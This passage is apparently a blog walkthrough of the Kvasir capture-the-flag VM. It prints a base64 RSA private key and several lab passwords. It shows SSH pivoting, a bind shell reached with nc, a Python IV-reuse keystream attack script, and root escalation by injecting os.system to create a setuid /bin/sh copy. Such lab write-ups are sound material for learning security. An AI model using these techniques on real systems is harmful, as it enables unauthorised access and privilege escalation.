WUV0YTV5T2hJc2tmMGgwcgpTbyt4VkRLNjdHM0RsZ3ltVVYzRHhHZml6TGZadmh4UVJDOFF5MG1mNE4
rbWlZa3ZmMk5hRnRhdHBOY2pLNXBNClV5NlFTRk1PQzhhS3BlMEZMNlVHRFJKUTVHU0c0RGxKckxVSk
JNdm5TTHRZWkhsYVdBSUNLYlhmcFhWNFNUd3YKSjBEOGg5UnRsUkpoTENLNWVLZ3VwWUNRSWlHUVdnM
1B2WnBYazlra2pYaG1P
UXdVWW9DUmwzbDRqNXpsbkZjVApQNlU5VVBoUnEvQ2s0UXJrMmRHeEZmcHBRZDl4VytiNFBXamlTQ2l
rTEYzUTBoZk5OdkVidTRvdW5BZ1l3UEZICmpPWEhKcXhWb2cvcFp6OVk4WGZTUDNoejlBWUhXZkkyaU
M5Q25rN2JvUmNPdittY2dFZVdXa1lyVnNjT2l2WWoKOU4yeGlOcDRHSCtOSUc4bW0vTGRsN2pRTWwvV
nJyNWN4M2ZYak9lem1n
c1NrQVk0Q2NzcHdLc1NYSzhHTC9iTwpoVDZwS1dmTDZVSTh3VWdwSTdLaGdLK0FPS3VTL1hQWVRTZHo
rMFJKeE5GU0xPRk5jalJ0TCtOVzBValBxNUpoCkRpYStwdzVxQitsbGx4Z2FOMFdCUXNrSUZRcHBwUG
93d2pHOEpnOGpKQmpTWWozcjRMSXJad0pTcGN2b0JpVUEKb0NxblFVTXRYbE1oOS9DdkJCR3MxK0pWY
2prSW5CZGU5NDVWK2Vq
aFA2R1BZanU0VFFWN0I3MGQ3YUVXME9FbQowZDduck9XL0xDWXBzVi9ONXJxVnNHbFR2d2pKTm93eU1
xRVo5RTA5Z3VNNWVMNENFUFBtcDlaRGV5MmZCQUd3CnE3blNyOHE2SHNmNGQrWVBSKzkwRWZNSlJlcU
kzczFGUW9UdngrUGFGUGlLdzdkZkhGQ2dMc2NYY1hjb2duTHoKY0IwbG5lbUkrY0ZtZlk3NEYxZVlMM
2Z3Skl3U1JnSzg1WGMy
TXk4c3FKejFpemo2SWxPMmtRMWpMa3JoSk9aOApYK3AvOXc1ekEweDJmYmpwcEhhYytZb0pmeVB5WVh
qa3BpZ0RQakhYaFJpdDJxblVySGZEYzBGamg1QUtOVTJLCk1VL3l3WEdFZzZ3MENwcEs5SkJvMHUveE
psaFQvak9XTmlNNFlaalhsaFF6a3h5ZWJ2YnlSUzZTbGhsbzE0MmwKZ011TVV2UG4xZkFlbmlyNkFGd
3kycmxrdFE1L2E4ejJW
Q3dQa05BNDBNSW1TSE1XUlNGYm9Eak01endyMjRHawpOMHBJMUJDbUNzZjBtc3ZFd0xoZGNWbmhKWTd
CZzRpem01YlgrQXJWL3ltTE9reWJLOGNoejVmcnlYY2plVjFxCml6SmUyQVhaazEvOGhZODB0dkpXan
hVRWZuZ3V5b296UWY1VDc0bW41YWV6OUpnR1dNcXpwZkt3WjZMeDVjVGcKWnUrbStyeWFrQlBGalV0d
DA0bENZQ0NLV1F6UGhn
SXI1eFVGeDYyaENHaGg2Vzh0U0lCNms3SHB1bjEyM0dRMAp1VCtSMEVyWUE1R2R5eDQ0RlpFYXRaM3J
YQ3BWbUpsbENUV1VxQnVhSFlBdGNaVGhUVFpmeFJGSHkwMklUNkZXClBMQ1ovWE4yRStUZHRrWG1GY1
RYUnNndHlBLzVWWHNUV1dtUmNIY3p2NWc1WWNRM3BIczNNaFN4c1dTZFR6LzgKUll6bXhPbkNqWldYY
VVlMFhiN0ZqQS9ldm1w
WHN5aENoR2J2cDBLMGhaRmNNZXN6RkthOEs0cEFlZGN5RzMxbgo0K0hoSW1uRXBMWlFPWGhmWGxrS01
RWHJCeXM3aGtvbmtEcDU3VnFoK0lJWkxHelZtZlRWRWoyV2hjLzBZK0dJCkRNcGgwWnZURytKZ3YxTE
8zU2w4MlJ6bTFqVWt6RUlaTkl4WWVTR3JaZjZDaFZMUGE4NWF4cXc1RVZOQ3hZVWcKSkFxZyt1ZDZ4S
U85b2JpZHh6STJyTGZi
eGNwTXVyODBuYjRjcllNTm0wOXlQUWFza25nSy80SWptblBMZVRpaAotLS0tLUVORCBSU0EgUFJJVkF
URSBLRVktLS0tLQo=

Sweet, a prize! Dumping the prize into a file and decoding it yields an RSA key. Probably the one for terra!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
celes@dev1:~$ cat prize |base64 -d > prize.decoded
celes@dev1:~$ file prize.decoded
prize.decoded: PEM RSA private key
celes@dev1:~$ chmod 600 prize.decoded
celes@dev1:~$ ssh terra@192.168.3.50 -i ./prize.decoded
Enter passphrase for key './prize.decoded':
Linux dev2 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Sep  4 09:18:19 2014
terra@dev2:~$ 

It asks for a passphrase, so I entered Nk9yY31hva8q, recovered from kvasir.jpg. Fourth box! Sure enough, this also will not be the last:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
terra@dev2:~$ /sbin/ifconfig
eth0      Link encap:Ethernet  HWaddr 8e:63:81:fb:49:5d
          inet addr:192.168.3.50  Bcast:192.168.3.255  Mask:255.255.255.0
          inet6 addr: fe80::8c63:81ff:fefb:495d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7811 errors:0 dropped:0 overruns:0 frame:0
          TX packets:7726 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:603633 (589.4 KiB)  TX bytes:460447 (449.6 KiB)

eth1      Link encap:Ethernet  HWaddr de:a7:30:97:c9:7d
          inet addr:192.168.4.50  Bcast:192.168.4.255  Mask:255.255.255.0
          inet6 addr: fe80::dca7:30ff:fe97:c97d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:156 errors:0 dropped:0 overruns:0 frame:0
          TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:32315 (31.5 KiB)  TX bytes:2958 (2.8 KiB)

Looks like there is another host somewhere in 192.168.4.1/24 waiting for me. After pinging, I found 192.168.4.100. A first portscan showed nothing besides the usual, but a second one gave me something:

1
2
3
4
5
6
7
8
9
terra@dev2:~$ python portscan.py 192.168.4.100
[!] starting...
[!] scanning 192.168.4.100
[+] port 22: open
terra@dev2:~$ python portscan.py 192.168.4.100
[!] starting...
[!] scanning 192.168.4.100
[+] port 22: open
[+] port 1111: open

Port 1111 is open on the fifth box. Connecting to it seems to yield a shell as locke:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
terra@dev2:~$ nc 192.168.4.100 1111
$ id
uid=1000(locke) gid=1000(locke) groups=1000(locke)
$ whoami
locke
$ cd /home
$ ls -alh
total 16K
drwxr-xr-x  4 root  root  4.0K Aug 13 14:19 .
drwxr-xr-x 22 root  root  4.0K Aug  9 15:38 ..
drwxrwx---  2 kefka kefka 4.0K Sep 27 21:22 kefka
drwxrwx---  2 locke locke 4.0K Sep  4 13:38 locke
cd locke
ls -al
total 352
drwxrwx--- 2 locke locke   4096 Sep  4 13:38 .
drwxr-xr-x 4 root  root    4096 Aug 13 14:19 ..
-rw------- 1 locke locke      0 Sep  4 10:05 .bash_history
-rw-r--r-- 1 locke locke    220 Dec 30  2012 .bash_logout
-rw-r--r-- 1 locke locke   3392 Dec 30  2012 .bashrc
-rw-r--r-- 1 locke locke    675 Dec 30  2012 .profile
-rw------- 1 locke locke      0 Sep 27 21:37 .viminfo
-rw-r--r-- 1 locke locke 329498 Aug 10 10:32 diskimage.tar.gz
-rwxr--r-- 1 locke locke     42 Aug 13 17:59 littleShell.sh
-rw-r--r-- 1 locke locke    110 Sep  4 13:38 note.txt
$ cat note.txt
Looks like Kefka may have been abusing our removable media policy.  I've extracted this image to have a look.

That diskimage.tar.gz looks interesting. I copied it over to my box and unpacked it. It was, unsurprisingly, a disk image, containing Secret.rar. Furthermore, the disk image seemed to be mostly empty. However, browsing through it using a hex-editor, it had one deleted file! The file looked like it used to be a .WAV file. I recovered it:

1
2
3
4
5
6
7
8
9
10
11
diskimage: x86 boot sector, code offset 0x3c, OEM-ID "MSDOS5.0", sectors/cluster 2, root entries 512, Media descriptor 0xf8, sectors/FAT 238, heads 255, hidden sectors 63, sectors 122031 (volumes > 32 MB) , reserved 0x1, serial number 0xad6f8bf, unlabeled, FAT (16 bit)
root@tritonal:/# mount -t vfat -o loop,ro,noexec diskimage /mnt
root@tritonal:/# cd /mnt
root@tritonal:/mnt# ls
Secret.rar
bas@tritonal:~$ dd if=diskimage of=test.wav bs=1 skip=263168 count=405152
405152+0 records in
405152+0 records out
405152 bytes (405 kB) copied, 1.18141 s, 343 kB/s
bas@tritonal:~$ file test.wav
test.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 22050 Hz

It sounded horrible… yet familiar! I loaded it up in Sonic Visualizer and saw what it sounded like:

Cool. Looks like it shows another one of those passwords. It’s not for kefka, but for Secret.rar:

1
2
3
4
5
6
7
8
9
10
11
bas@tritonal:/tmp$ unrar e -pOrcWQi5VhfCo /mnt/Secret.rar

UNRAR 5.00 beta 8 freeware      Copyright (c) 1993-2013 Alexander Roshal


Extracting from /mnt/Secret.rar

Extracting  MyPassword.txt                                            OK
All OK
bas@tritonal:/tmp$ cat MyPassword.txt
5224XbG5ki2C

Now the last one is for kefka!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
terra@dev2:~$ ssh kefka@192.168.4.100
The authenticity of host '192.168.4.100 (192.168.4.100)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.4.100' (ECDSA) to the list of known hosts.
kefka@192.168.4.100's password:
Linux adm 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 20:40:07 2014
kefka@adm:~$ sudo -l
Matching Defaults entries for kefka on this host:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kefka may run the following commands on this host:
    (ALL) NOPASSWD: /opt/wep2.py

This box is the final hurdle. kefka may run /opt/wep2.py as root. That script is not readable nor writeable. Looks like we need to exploit it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
kefka@adm:~$ sudo /opt/wep2.py &
[1] 1560
kefka@adm:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN
tcp        0      0 192.168.4.100:22        192.168.4.50:34929      ESTABLISHED
tcp6       0      0 :::22                   :::*                    LISTEN
kefka@adm:~$ nc localhost 1234
=============================
Can you retrieve my secret..?
=============================

Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')

V
89355e:d7172c4f5a691729b8a8cdd4
E AAAA
924ea9:65efc08e
E AAAA
0d2782:98181206
V
305c0c:4255c9f1e049ee1d75b36545

Combined with the name of this script, it looks like I need to do an attack similar to cracking WEP! I made the following script to do it quickly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/python

from socket import *
from time import *

host = "127.0.0.1"
port = int(1234)

s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))

keepgoing = 1
# banner
print s.recv(256)

lookup = {}  # we are going to build a lookup table for the IV and encrypted secret. 

# this challenge lets us view the encrypted secret and lets us encrypt a message ourselves.
# in doing so, it shows "IV:encrypted message". we'll do a stream cipher re-use style attack.
# we'll build a lookup table with encrypted secret & the corresponding IV
# and if we encounter the same IV for our message, then we can xor the encrypted flag, 
# encrypted message and plaintext message to get the flag (or actually, the secret salt)

while keepgoing:
  s.send("V\n")    # request the encrypted secret
  encryptedKey = s.recv(256).strip()    # grab it
  parts = encryptedKey.split(":")   # split & store
  lookup[parts[0]] = parts[1]  

  s.send("E "+"\xFF"*12 + "\n")  # ask to encrypt this message (12 x "0xFF", easy to reverse)
  response = s.recv(256).strip()    # grab response

  parts = response.split(":")       # split it
  if parts[0] in lookup.keys():   # check if the IV is already seen before
      k1 = int(parts[1], 16)      # JACKPOT! convert string to hex
      k2 = int(lookup[parts[0]], 16)   # convert string to hex
      d1 = k1 ^ k2 # xor the encrypted secret & encrypted message
      d2 = d1 ^ 0xffffffffffffffffffffffff    # xor with plaintext "message"
      key = hex(d2)[2:-1] # output of hex() is "0x...L", but .decode() doesn't want those chars
      print key                 # debug output...
      print key.decode("hex")  # output decrypted secret!!
      keepgoing = 0 # stop the loop. we're done!
s.close() # close socket. be nice.

This literally cracks it in seconds:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kefka@adm:~$ sudo /opt/wep2.py &
[1] 1565
kefka@adm:~$ time python solve.py
=============================
Can you retrieve my secret..?
=============================

Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')


305736553676774734573156
0W6U6vwG4W1V

real  0m3.003s
user  0m0.780s
sys   0m0.776s

So we’re given another password, 0W6U6vwG4W1V. It’s not the root password, there are no encrypted flags on the box… what should I do with this? This had me stumped for a while. Out of pure desperation, I entered it into the /opt/wep2.py service:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
kefka@adm:~$ sudo /opt/wep2.py &
[1] 1583
kefka@adm:~$ nc localhost 1234
=============================
Can you retrieve my secret..?
=============================

Usage:
'V' to view the encrypted flag
'E' to encrypt a plaintext string (e.g. 'E AAAA')

0W6U6vwG4W1V
> id
> whoami
Traceback (most recent call last):
  File "<string>", line 1, in <module>
NameError: name 'whoami' is not defined
>

Wut? Could this be a python shell?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> import os; os.system("/bin/cp /bin/sh /tmp/shell; chmod 4777 /tmp/shell")
> ^C
kefka@adm:~$ Traceback (most recent call last):
  File "/opt/wep2.py", line 94, in <module>
    handler(sock, addr)
  File "/opt/wep2.py", line 74, in handler
    sock.send(p1)
socket.error: [Errno 32] Broken pipe

[1]+  Exit 1                  sudo /opt/wep2.py
kefka@adm:~$ ls /tmp
capture.log  shell
kefka@adm:~$ /tmp/shell
# id 
uid=1001(kefka) gid=1001(kefka) euid=0(root) groups=0(root),1001(kefka)
# whoami
root

Heck yes! Final troll by Rasta Mouse:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# ls -al /root
total 32
drwx------  3 root root 4096 Sep 28 21:11 .
drwxr-xr-x 22 root root 4096 Aug  9 15:38 ..
drwx------  2 root root 4096 Aug 13 18:17 .aptitude
-rw-------  1 root root   87 Sep 28 11:55 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-r--------  1 root root  690 Sep 28 21:09 flag
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-------  1 root root 1641 Sep 28 11:47 .viminfo
# cat /root/flag
    _  __                             _
   | |/ /   __ __   __ _     ___     (_)      _ _
   | ' <    \ I /  / _` |   (_-<     | |     | '_|
   |_|\_\   _\_/_  \__,_|   /__/_   _|_|_   _|_|_
  _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
  "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

Pbatenghyngvbaf ba orngvat Xinfve - V ubcr lbh rawblrq
gur evqr.  Gnxr uvf oybbq, zvk jvgu ubarl naq qevax
gur Zrnq bs Cbrgel...

Ovt fubhg bhg gb zl orgn grfgref: @oneeronf naq @GurPbybavny.
Fcrpvny gunaxf gb Onf sbe uvf cngvrapr qhevat guvf raqrnibhe.

Srry serr gb cvat zr jvgu gubhtugf/pbzzragf ba
uggc://jv-sh.pb.hx, #IhyaUho VEP be Gjvggre.

  enfgn_zbhfr(@_EnfgnZbhfr)
# cat /root/flag | tr 'n-za-mN-ZA-M' 'a-zA-Z'
    _  __                             _
   | |/ /   __ __   __ _     ___     (_)      _ _
   | ' <    \ V /  / _` |   (_-<     | |     | '_|
   |_|\_\   _\_/_  \__,_|   /__/_   _|_|_   _|_|_
  _|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|
  "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'

Congratulations on beating Kvasir - I hope you enjoyed
the ride.  Take his blood, mix with honey and drink
the Mead of Poetry...

Big shout out to my beta testers: @barrebas and @TheColonial.
Special thanks to Bas for his patience during this endeavour.

Feel free to ping me with thoughts/comments on
http://wi-fu.co.uk, #VulnHub IRC or Twitter.

  rasta_mouse(@_RastaMouse)

Yes! Done! I enjoyed this VM very much. Many many thanks to Rasta Mouse for this awesome VM and of course g0tmi1k for hostin it!

Comments